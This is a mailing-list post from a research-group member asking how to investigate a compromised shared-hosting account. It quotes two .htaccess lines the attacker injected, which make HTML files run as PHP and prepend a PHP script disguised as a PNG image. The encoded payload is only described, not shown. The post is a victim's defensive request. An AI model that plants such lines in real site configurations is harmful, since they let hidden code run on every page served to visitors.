[TriLUG] cracked shared hosting: what to do?

[Kevin Hunter Kesling]

Hi List,

My research group is using a Dreamhost box to serve some static HTML. 
The same account has a number of virtual domains under it, some of which 
use Wordpress.  Over the past month, I've gotten wise to regular changes 
that we have not made to filesystem.  I don't have much experience with 
what to do when I don't have complete control of the system, so I have a 
couple of questions that I'd like to run past this group:

  * There are no world-writable directories or files under the account.
    Given that the only logs I have access to are the account's virtual
    domain logs (access and error), what -- if anything -- can I do to
    discover how the attacker is getting in?  Beyond that, if it's
    /not/ us, what are our options?

  * The attacker is changing our .htaccess.  Given the below snippet of
    it, and the fact that we otherwise serve static HTML (though with
    SSI), is there an obviously open barn door that I'm missing?

    -----
    XBitHack Full          # To allow SSI only on u+x html files
    RemoveHandler py       # Do not try to execute any Python files ...
    <FilesMatch "\.(?i:py)$">   # ... instead, serve them as a download
    	ForceType text/x-python
    	Header set Content-Disposition attachment
    </FilesMatch>

    # After the attacker has done the deed, these two new lines are
    # added, and the referenced script has been put in place:

    AddType application/x-httpd-php5 .html .htm
    php_value auto_prepend_file /path/to/PHP/script/logo_small.png
    -----

If you're interested in the specifics, I expand below.  But my main 
questions are outline above.

I've changed the path to logo_small.png to protect the guilty, but 
despite its name, it's actually a PHP script with the standard base64 
encoded gzip compressed content.  After decompressing, decoding, and 
poking around the script, it /appears/ to be a mixture of PHP and 
Javascript.  I gather its intention is to somehow make money on link 
munging, perhaps with further information garnered from a home server. 
(For example, I see references to search engine IP ranges, like 8.8.4.0 
and 8.8.4.255.)

For now, I've tried a first ditch effort at preventing this from 
happening again by blocking all IPs that request anything with a 
parameter in the URL (via Apache and "Deny from IP IP ..." in the 
.htaccess).  Unfortunately, I'm fairly certain this workaround will buy 
me little, especially as I don't know how the attacker got in.

My immediate Googlings have not proven too fruitful, so I turn to the 
group.  Thanks for any and all input!

Kevin